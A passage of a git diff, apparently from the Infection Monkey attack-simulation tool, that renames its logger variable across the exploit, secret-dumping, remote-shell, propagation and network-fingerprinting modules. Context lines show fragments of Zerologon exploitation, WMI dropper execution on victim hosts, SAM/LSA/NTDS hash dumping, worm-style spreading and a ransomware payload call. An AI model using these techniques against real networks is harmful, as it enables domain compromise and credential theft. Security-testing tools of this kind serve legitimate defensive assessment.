" % self.host) + creds_for_logging + (" (%s):\n%s" % (exc, traceback.format_exc())) @@ -86,7 +88,7 @@ class WmiExploiter(HostExploiter): if process_list: wmi_connection.close() - LOG.debug("Skipping %r - already infected", self.host) + logger.debug("Skipping %r - already infected", self.host) return False # copy the file remotely using SMB @@ -127,7 +129,7 @@ class WmiExploiter(HostExploiter): ) if (0 != result.ProcessId) and (not result.ReturnValue): - LOG.info( + logger.info( "Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", remote_full_path, self.host, @@ -138,7 +140,7 @@ class WmiExploiter(HostExploiter): self.add_vuln_port(port="unknown") success = True else: - LOG.debug( + logger.debug( "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, " "cmdline=%r)", remote_full_path, diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 019bf8291..a43639614 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -23,7 +23,7 @@ from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_deta from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.utils.capture_output import StdoutCapture -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class ZerologonExploiter(HostExploiter): @@ -50,16 +50,16 @@ class ZerologonExploiter(HostExploiter): can_exploit, rpc_con = is_exploitable(self) if can_exploit: - LOG.info("Target vulnerable, changing account password to empty string.") + logger.info("Target vulnerable, changing account password to empty string.") # Start exploiting attempts. - LOG.debug("Attempting exploit.") + logger.debug("Attempting exploit.") _exploited = self._send_exploit_rpc_login_requests(rpc_con) rpc_con.disconnect() else: - LOG.info( + logger.info( "Exploit not attempted. Target is most likely patched, or an error was " "encountered." ) @@ -70,12 +70,12 @@ class ZerologonExploiter(HostExploiter): if self.restore_password(): self.exploit_info["password_restored"] = True self.store_extracted_creds_for_exploitation() - LOG.info("System exploited and password restored successfully.") + logger.info("System exploited and password restored successfully.") else: self.exploit_info["password_restored"] = False - LOG.info("System exploited but couldn't restore password!") + logger.info("System exploited but couldn't restore password!") else: - LOG.info("System was not exploited.") + logger.info("System was not exploited.") return _exploited @@ -105,9 +105,9 @@ class ZerologonExploiter(HostExploiter): # Failure should be due to a STATUS_ACCESS_DENIED error. # Otherwise, the attack is probably not working. if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: - LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + logger.info(f"Unexpected error code from DC: {e.get_error_code()}") except BaseException as e: - LOG.info(f"Unexpected error: {e}") + logger.info(f"Unexpected error: {e}") def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object: request = nrpc.NetrServerPasswordSet2() @@ -133,11 +133,11 @@ class ZerologonExploiter(HostExploiter): if exploit_attempt_result["ErrorCode"] == 0: self.report_login_attempt(result=True, user=self.dc_name) _exploited = True - LOG.info("Exploit complete!") + logger.info("Exploit complete!") else: self.report_login_attempt(result=False, user=self.dc_name) _exploited = False - LOG.info( + logger.info( f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something " f"went wrong." ) @@ -146,19 +146,19 @@ class ZerologonExploiter(HostExploiter): return False def restore_password(self) -> bool: - LOG.info("Restoring original password...") + logger.info("Restoring original password...") try: rpc_con = None # DCSync to get usernames and their passwords' hashes. - LOG.debug("DCSync; getting usernames and their passwords' hashes.") + logger.debug("DCSync; getting usernames and their passwords' hashes.") user_creds = self.get_all_user_creds() if not user_creds: raise Exception("Couldn't extract any usernames and/or their passwords' hashes.") # Use above extracted credentials to get original DC password's hashes. - LOG.debug("Getting original DC password's NT hash.") + logger.debug("Getting original DC password's NT hash.") original_pwd_nthash = None for user_details in user_creds: username = user_details[0] @@ -171,7 +171,7 @@ class ZerologonExploiter(HostExploiter): if original_pwd_nthash: break except Exception as e: - LOG.info(f"Credentials didn't work. Exception: {str(e)}") + logger.info(f"Credentials didn't work. Exception: {str(e)}") if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -180,11 +180,11 @@ class ZerologonExploiter(HostExploiter): try: rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip) except Exception as e: - LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + logger.info(f"Exception occurred while connecting to DC: {str(e)}") return False # Start restoration attempts. - LOG.debug("Attempting password restoration.") + logger.debug("Attempting password restoration.") _restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash) if not _restored: raise Exception("Failed to restore password! Max attempts exceeded?") @@ -192,7 +192,7 @@ class ZerologonExploiter(HostExploiter): return _restored except Exception as e: - LOG.error(e) + logger.error(e) return False finally: @@ -229,7 +229,7 @@ class ZerologonExploiter(HostExploiter): return creds_to_use_for_getting_original_pwd_hashes except Exception as e: - LOG.info( + logger.info( f"Exception occurred while dumping secrets to get some username and its " f"password's NT hash: {str(e)}" ) @@ -319,7 +319,7 @@ class ZerologonExploiter(HostExploiter): return nthash except Exception as e: - LOG.info( + logger.info( f"Exception occurred while dumping secrets to get original DC password's NT " f"hash: {str(e)}" ) @@ -328,7 +328,7 @@ class ZerologonExploiter(HostExploiter): self.remove_locally_saved_HKLM_keys() def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool: - LOG.info( + logger.info( f"Starting remote shell on victim with credentials:\n" f"user: {username}\n" f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : " @@ -368,11 +368,11 @@ class ZerologonExploiter(HostExploiter): return True except Exception as e: - LOG.info(f"Exception occured: {str(e)}") + logger.info(f"Exception occured: {str(e)}") finally: info = output_captor.get_captured_stdout_output() - LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + logger.debug(f"Getting victim HKLM keys via remote shell: {info}") else: raise Exception("Could not start remote shell on DC.") @@ -385,7 +385,7 @@ class ZerologonExploiter(HostExploiter): try: os.remove(path) except Exception as e: - LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") + logger.info(f"Exception occurred while removing file {path} from system: {str(e)}") def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool: for _ in range(0, self.MAX_ATTEMPTS): @@ -407,9 +407,9 @@ class ZerologonExploiter(HostExploiter): # Failure should be due to a STATUS_ACCESS_DENIED error. # Otherwise, the attack is probably not working. if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: - LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + logger.info(f"Unexpected error code from DC: {e.get_error_code()}") except BaseException as e: - LOG.info(f"Unexpected error: {e}") + logger.info(f"Unexpected error: {e}") return False @@ -459,13 +459,13 @@ class ZerologonExploiter(HostExploiter): rpc_con.request(request) except Exception as e: - LOG.info(f"Unexpected error: {e}") + logger.info(f"Unexpected error: {e}") return rpc_con def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool: if restoration_attempt_result: - LOG.debug("DC machine account password should be restored to its original value.") + logger.debug("DC machine account password should be restored to its original value.") return True return False diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index f76fe361b..c208a61f6 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -58,7 +58,7 @@ from impacket.smbconnection import SMBConnection from infection_monkey.utils.capture_output import StdoutCapture -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py @@ -137,7 +137,7 @@ class DumpSecrets: # target system. We just have a last resort. Hope we have tickets # cached and that they # will work - LOG.debug( + logger.debug( "SMBConnection didn't work, hoping Kerberos will help (%s)" % str(e) ) @@ -168,12 +168,12 @@ class DumpSecrets: # something different to Off. # This will prevent establishing SMB connections using TGS for SPNs # different to cifs/. - LOG.error( + logger.error( "Policy SPN target name validation might be restricting full " "DRSUAPI dump." + "Try -just-dc-user" ) else: - LOG.error("RemoteOperations failed: %s" % str(e)) + logger.error("RemoteOperations failed: %s" % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA. if ( @@ -192,7 +192,7 @@ class DumpSecrets: ) self.__SAM_hashes.dump() except Exception as e: - LOG.error("SAM hashes extraction failed: %s" % str(e)) + logger.error("SAM hashes extraction failed: %s" % str(e)) try: if self.__is_remote is True: @@ -209,8 +209,8 @@ class DumpSecrets: self.__LSA_secrets.dumpCachedHashes() self.__LSA_secrets.dumpSecrets() except Exception as e: - LOG.debug(traceback.print_exc()) - LOG.error("LSA hashes extraction failed: %s" % str(e)) + logger.debug(traceback.print_exc()) + logger.error("LSA hashes extraction failed: %s" % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might # still work. @@ -234,7 +234,7 @@ class DumpSecrets: try: self.__NTDS_hashes.dump() except Exception as e: - LOG.debug(traceback.print_exc()) + logger.debug(traceback.print_exc()) if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0: # We don't store the resume file if this error happened, since this error # is related to lack @@ -242,16 +242,16 @@ class DumpSecrets: resume_file = self.__NTDS_hashes.getResumeSessionFile() if resume_file is not None: os.unlink(resume_file) - LOG.error(e) + logger.error(e) if self.__use_VSS_method is False: - LOG.error( + logger.error( "Something wen't wrong with the DRSUAPI approach. Try again with " "-use-vss parameter" ) self.cleanup() except (Exception, KeyboardInterrupt) as e: - LOG.debug(traceback.print_exc()) - LOG.error(e) + logger.debug(traceback.print_exc()) + logger.error(e) if self.__NTDS_hashes is not None: if isinstance(e, KeyboardInterrupt): resume_file = self.__NTDS_hashes.getResumeSessionFile() @@ -268,7 +268,7 @@ class DumpSecrets: return dumped_secrets def cleanup(self): - LOG.debug("Cleaning up...") + logger.debug("Cleaning up...") if self.__remote_ops: self.__remote_ops.finish() if self.__SAM_hashes: diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index 15429eb4a..d899c73e8 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -50,7 +50,7 @@ import os import sys import time -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py @@ -86,11 +86,11 @@ class RemoteShell(cmd.Cmd): filename = ntpath.basename(tail) local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename) fh = open(local_file_path, "wb") - LOG.info("Downloading %s\\%s" % (drive, tail)) + logger.info("Downloading %s\\%s" % (drive, tail)) self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write) fh.close() except Exception as e: - LOG.error(str(e)) + logger.error(str(e)) if os.path.exists(local_file_path): os.remove(local_file_path) @@ -134,7 +134,7 @@ class RemoteShell(cmd.Cmd): try: self.__outputBuffer += data.decode(self.CODEC) except UnicodeDecodeError: - LOG.error( + logger.error( "Decoding error detected, consider running chcp.com at the target," "\nmap the result with " "https://docs.python.org/3/library/codecs.html#standard-encodings\nand " @@ -157,7 +157,7 @@ class RemoteShell(cmd.Cmd): time.sleep(1) elif str(e).find("Broken") >= 0: # The SMB Connection might have timed out, let's try reconnecting. - LOG.debug("Connection broken, trying to recreate it") + logger.debug("Connection broken, trying to recreate it") self.__transferClient.reconnect() return self.get_output() self.__transferClient.deleteFile(self.__share, self.__output) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index 467c41d69..4d86fb412 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -7,7 +7,7 @@ from impacket.dcerpc.v5 import nrpc, rpcrt from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from common.utils.exceptions import DomainControllerNameFetchError -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) def get_dc_details(host: object) -> (str, str, str): @@ -39,7 +39,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v try: rpc_con = zerologon_exploiter_object.connect_to_dc(zerologon_exploiter_object.dc_ip) except Exception as e: - LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + logger.info(f"Exception occurred while connecting to DC: {str(e)}") return False, None # Try authenticating. @@ -49,7 +49,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v if rpc_con_auth_result is not None: return True, rpc_con_auth_result except Exception as ex: - LOG.info(ex) + logger.info(ex) return False, None return False, None diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index 70f3d5a07..ad5f2a9d3 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -53,7 +53,7 @@ from impacket.smbconnection import SMBConnection from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py @@ -102,7 +102,7 @@ class Wmiexec: iWbemLevel1Login.RemRelease() except (Exception, KeyboardInterrupt) as e: - LOG.error(str(e)) + logger.error(str(e)) self.smbConnection.logoff() self.dcom.disconnect() diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 5d6947952..07270a86e 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -18,7 +18,7 @@ from infection_monkey.model import DROPPER_ARG, MONKEY_ARG from infection_monkey.monkey import InfectionMonkey from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path -LOG = None +logger = None LOG_CONFIG = { "version": 1, @@ -43,7 +43,7 @@ LOG_CONFIG = { def main(): - global LOG + global logger if 2 > len(sys.argv): return True @@ -116,19 +116,19 @@ def main(): del LOG_CONFIG["handlers"]["file"] logging.config.dictConfig(LOG_CONFIG) - LOG = logging.getLogger() + logger = logging.getLogger() def log_uncaught_exceptions(ex_cls, ex, tb): - LOG.critical("".join(traceback.format_tb(tb))) - LOG.critical("{0}: {1}".format(ex_cls, ex)) + logger.critical("".join(traceback.format_tb(tb))) + logger.critical("{0}: {1}".format(ex_cls, ex)) sys.excepthook = log_uncaught_exceptions - LOG.info( + logger.info( ">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid() ) - LOG.info(f"version: {get_version()}") + logger.info(f"version: {get_version()}") monkey = monkey_cls(monkey_args) monkey.initialize() @@ -150,7 +150,7 @@ def main(): return True except Exception as e: - LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e)) + logger.exception("Exception thrown from monkey's start function. More info: {}".format(e)) finally: monkey.cleanup() diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 86697cd8f..59eca27d8 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -43,7 +43,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, skipping propagation phase." -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class InfectionMonkey(object): @@ -66,7 +66,7 @@ class InfectionMonkey(object): self._post_breach_phase = None def initialize(self): - LOG.info("Monkey is initializing...") + logger.info("Monkey is initializing...") if not self._singleton.try_lock(): raise Exception("Another instance of the monkey is already running") @@ -87,26 +87,26 @@ class InfectionMonkey(object): if self._opts.depth is not None: WormConfiguration._depth_from_commandline = True WormConfiguration.depth = self._opts.depth - LOG.debug("Setting propagation depth from command line") - LOG.debug(f"Set propagation depth to {WormConfiguration.depth}") + logger.debug("Setting propagation depth from command line") + logger.debug(f"Set propagation depth to {WormConfiguration.depth}") self._keep_running = True self._network = NetworkScanner() if self._default_server: if self._default_server not in WormConfiguration.command_servers: - LOG.debug("Added default server: %s" % self._default_server) + logger.debug("Added default server: %s" % self._default_server) WormConfiguration.command_servers.insert(0, self._default_server) else: - LOG.debug( + logger.debug( "Default server: %s is already in command servers list" % self._default_server ) def start(self): try: - LOG.info("Monkey is starting...") + logger.info("Monkey is starting...") - LOG.debug("Starting the setup phase.") + logger.debug("Starting the setup phase.") # Sets island's IP and port for monkey to communicate to self.set_default_server() self.set_default_port() @@ -144,16 +144,18 @@ class InfectionMonkey(object): StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() - LOG.debug("Starting the post-breach phase asynchronously.") + logger.debug("Starting the post-breach phase asynchronously.") self._post_breach_phase = Thread(target=self.start_post_breach_phase) self._post_breach_phase.start() if not InfectionMonkey.max_propagation_depth_reached(): - LOG.info("Starting the propagation phase.") - LOG.debug("Running with depth: %d" % WormConfiguration.depth) + logger.info("Starting the propagation phase.") + logger.debug("Running with depth: %d" % WormConfiguration.depth) self.propagate() else: - LOG.info("Maximum propagation depth has been reached; monkey will not propagate.") + logger.info( + "Maximum propagation depth has been reached; monkey will not propagate." + ) TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() if self._keep_running and WormConfiguration.alive: @@ -164,17 +166,17 @@ class InfectionMonkey(object): # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time - LOG.info( + logger.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep ) time.sleep(time_to_sleep) except PlannedShutdownException: - LOG.info( + logger.info( "A planned shutdown of the Monkey occurred. Logging the reason and finishing " "execution." ) - LOG.exception("Planned shutdown, reason:") + logger.exception("Planned shutdown, reason:") finally: if self._monkey_tunnel: @@ -193,13 +195,13 @@ class InfectionMonkey(object): return 0 == WormConfiguration.depth def collect_system_info_if_configured(self): - LOG.debug("Calling for system info collection") + logger.debug("Calling for system info collection") try: system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() SystemInfoTelem(system_info).send() except Exception as e: - LOG.exception(f"Exception encountered during system info collection: {str(e)}") + logger.exception(f"Exception encountered during system info collection: {str(e)}") def shutdown_by_not_alive_config(self): if not WormConfiguration.alive: @@ -230,7 +232,7 @@ class InfectionMonkey(object): is_empty = False for finger in self._fingerprint: - LOG.info( + logger.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__, @@ -238,7 +240,7 @@ class InfectionMonkey(object): try: finger.get_host_fingerprint(machine) except BaseException as exc: - LOG.error( + logger.error( "Failed to run fingerprinter %s, exception %s" % finger.__class__.__name__, str(exc), @@ -248,13 +250,13 @@ class InfectionMonkey(object): # skip machines that we've already exploited if machine in self._exploited_machines: - LOG.debug("Skipping %r - already exploited", machine) + logger.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: - LOG.debug("%r - exploitation failed before, trying again", machine) + logger.debug("%r - exploitation failed before, trying again", machine) else: - LOG.debug("Skipping %r - exploitation failed before", machine) + logger.debug("Skipping %r - exploitation failed before", machine) continue if self._monkey_tunnel: @@ -267,7 +269,7 @@ class InfectionMonkey(object): ) else: machine.set_default_server(self._default_server) - LOG.debug( + logger.debug( "Default server for machine: %r set to %s" % (machine, machine.default_server) ) @@ -292,24 +294,24 @@ class InfectionMonkey(object): if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations - LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep) + logger.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: - LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) + logger.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: - LOG.info("Marked not alive from configuration") + logger.info("Marked not alive from configuration") def upgrade_to_64_if_needed(self): if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() - LOG.info("32bit monkey running on 64bit Windows. Upgrading.") + logger.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) raise PlannedShutdownException("Finished upgrading from 32bit to 64bit.") def cleanup(self): - LOG.info("Monkey cleanup started") + logger.info("Monkey cleanup started") self._keep_running = False if self._upgrading_to_64: @@ -326,7 +328,7 @@ class InfectionMonkey(object): self._singleton.unlock() InfectionMonkey.self_delete() - LOG.info("Monkey is shutting down") + logger.info("Monkey is shutting down") @staticmethod def close_tunnel(): @@ -334,7 +336,7 @@ class InfectionMonkey(object): ControlClient.proxies.get("https", "").replace("https://", "").split(":")[0] ) if tunnel_address: - LOG.info("Quitting tunnel %s", tunnel_address) + logger.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) @staticmethod @@ -363,7 +365,7 @@ class InfectionMonkey(object): os.remove(sys.executable) status = ScanStatus.USED except Exception as exc: - LOG.error("Exception in self delete: %s", exc) + logger.error("Exception in self delete: %s", exc) status = ScanStatus.SCANNED if status: T1107Telem(status, sys.executable).send() @@ -386,7 +388,7 @@ class InfectionMonkey(object): :return: True if successfully exploited, False otherwise """ if not exploiter.is_os_supported(): - LOG.info( + logger.info( "Skipping exploiter %s host:%r, os %s is not supported", exploiter.__class__.__name__, machine, @@ -394,7 +396,9 @@ class InfectionMonkey(object): ) return False - LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) + logger.info( + "Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__ + ) result = False try: @@ -403,11 +407,11 @@ class InfectionMonkey(object): self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True else: - LOG.info( + logger.info( "Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__ ) except ExploitingVulnerableMachineError as exc: - LOG.error( + logger.error( "Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, @@ -416,14 +420,14 @@ class InfectionMonkey(object): self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True except FailedExploitationError as e: - LOG.info( + logger.info( "Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e, ) except Exception as exc: - LOG.exception( + logger.exception( "Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, @@ -442,13 +446,13 @@ class InfectionMonkey(object): if RUNS_AGENT_ON_SUCCESS: self._exploited_machines.add(machine) - LOG.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) + logger.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): self._keep_running = False - LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) + logger.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) def set_default_port(self): try: @@ -466,11 +470,11 @@ class InfectionMonkey(object): "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel) ) self._default_server = WormConfiguration.current_server - LOG.debug("default server set to: %s" % self._default_server) + logger.debug("default server set to: %s" % self._default_server) def log_arguments(self): arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()]) - LOG.info(f"Monkey started with arguments: {arg_string}") + logger.info(f"Monkey started with arguments: {arg_string}") @staticmethod def run_ransomware(): @@ -478,4 +482,4 @@ class InfectionMonkey(object): ransomware_payload = build_ransomware_payload(WormConfiguration.ransomware) ransomware_payload.run_payload() except Exception as ex: - LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") + logger.error(f"An unexpected error occurred while running the ransomware payload: {ex}") diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index d5f6baaf2..8ec2e3890 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -11,7 +11,7 @@ from infection_monkey.network.HostFinger import HostFinger ES_PORT = 9200 ES_HTTP_TIMEOUT = 5 -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class ElasticFinger(HostFinger): @@ -40,9 +40,9 @@ class ElasticFinger(HostFinger): host.services[ES_SERVICE]["version"] = data["version"]["number"] return True except Timeout: - LOG.debug("Got timeout while trying to read header information") + logger.debug("Got timeout while trying to read header information") except ConnectionError: # Someone doesn't like us - LOG.debug("Unknown connection error") + logger.debug("Unknown connection error") except KeyError: - LOG.debug("Failed parsing the ElasticSearch JSOn response") + logger.debug("Failed parsing the ElasticSearch JSOn response") return False diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 8fa6071e7..f7ffc54e5 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -3,7 +3,7 @@ import logging import infection_monkey.config from infection_monkey.network.HostFinger import HostFinger -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class HTTPFinger(HostFinger): @@ -41,11 +41,11 @@ class HTTPFinger(HostFinger): self.init_service(host.services, ("tcp-" + port[1]), port[0]) host.services["tcp-" + port[1]]["name"] = "http" host.services["tcp-" + port[1]]["data"] = (server, ssl) - LOG.info("Port %d is open on host %s " % (port[0], host)) + logger.info("Port %d is open on host %s " % (port[0], host)) break # https will be the same on the same port except Timeout: - LOG.debug(f"Timout while requesting headers from {url}") + logger.debug(f"Timout while requesting headers from {url}") except ConnectionError: # Someone doesn't like us - LOG.debug(f"Connection error while requesting headers from {url}") + logger.debug(f"Connection error while requesting headers from {url}") return True diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index 7132b80ff..3c25af149 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -5,7 +5,7 @@ import socket import infection_monkey.config from infection_monkey.network.HostFinger import HostFinger -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class MSSQLFinger(HostFinger): @@ -42,11 +42,11 @@ class MSSQLFinger(HostFinger): # send data and receive response try: - LOG.info("Sending message to requested host: {0}, {1}".format(host, message)) + logger.info("Sending message to requested host: {0}, {1}".format(host, message)) sock.sendto(message, server_address) data, server = sock.recvfrom(self.BUFFER_SIZE) except socket.timeout: - LOG.info( + logger.info( "Socket timeout reached, maybe browser service on host: {0} doesnt " "exist".format(host) ) @@ -54,12 +54,12 @@ class MSSQLFinger(HostFinger): return False except socket.error as e: if e.errno == errno.ECONNRESET: - LOG.info( + logger.info( "Connection was forcibly closed by the remote host. The host: {0} is " "rejecting the packet.".format(host) ) else: - LOG.error( + logger.error( "An unknown socket error occurred while trying the mssql fingerprint, " "closing socket.", exc_info=True, @@ -73,7 +73,7 @@ class MSSQLFinger(HostFinger): # Loop through the server data instances_list = data[3:].decode().split(";;") - LOG.info("{0} MSSQL instances found".format(len(instances_list))) + logger.info("{0} MSSQL instances found".format(len(instances_list))) for instance in instances_list: instance_info = instance.split(";") if len(instance_info) > 1: diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index c04814c9f..d0bc14dc6 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -7,7 +7,7 @@ from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_ MYSQL_PORT = 3306 SQL_SERVICE = "mysqld-3306" -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class MySQLFinger(HostFinger): @@ -45,7 +45,7 @@ class MySQLFinger(HostFinger): if protocol == 0xFF: # error code, bug out - LOG.debug("Mysql server returned error") + logger.debug("Mysql server returned error") return False version, curpos = struct_unpack_tracker_string( @@ -70,7 +70,7 @@ class MySQLFinger(HostFinger): s.close() except Exception as err: - LOG.debug("Error getting mysql fingerprint: %s", err) + logger.debug("Error getting mysql fingerprint: %s", err) return False diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 677466190..c7e39909e 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -9,7 +9,7 @@ from infection_monkey.network.info import get_interfaces_ranges, local_ips from infection_monkey.network.ping_scanner import PingScanner from infection_monkey.network.tcp_scanner import TcpScanner -LOG = logging.getLogger(__name__) +logger = logging.getLogger(__name__) ITERATION_BLOCK_SIZE = 5 @@ -31,7 +31,7 @@ class NetworkScanner(object): if not self._ip_addresses: raise Exception("Cannot find local IP address for the machine") - LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses) + logger.info("Found local IP addresses of the machine: %r", self._ip_addresses) # for fixed range, only scan once. self._ranges = [ NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list @@ -39,7 +39,7 @@ class NetworkScanner(object): if WormConfiguration.local_network_scan: self._ranges += get_interfaces_ranges() self._ranges += self._get_inaccessible_subnets_ips() - LOG.info("Base local networks to scan are: %r", self._ranges) + logger.info("Base local networks to scan are: %r", self._ranges) def _get_inaccessible_subnets_ips(self): """ @@ -91,22 +91,22 @@ class NetworkScanner(object): victims_count = 0 for victim_chunk in victim_generator.generate_victims(ITERATION_BLOCK_SIZE): - LOG.debug("Scanning for potential victims in chunk %r", victim_chunk) + logger.debug("Scanning for potential victims in chunk %r", victim_chunk) # check before running scans if stop_callback and stop_callback(): - LOG.debug("Got stop signal") + logger.debug("Got stop signal") return results = pool.map(self.scan_machine, victim_chunk) resulting_victims = [x for x in results if x is not None] for victim in resulting_victims: - LOG.debug("Found potential victim: %r", victim) + logger.debug("Found potential victim: %r", victim) victims_count += 1 yield victim if victims_count >= max_find: - LOG.debug("Found max needed victims (%d), stopping scan", max_find) + 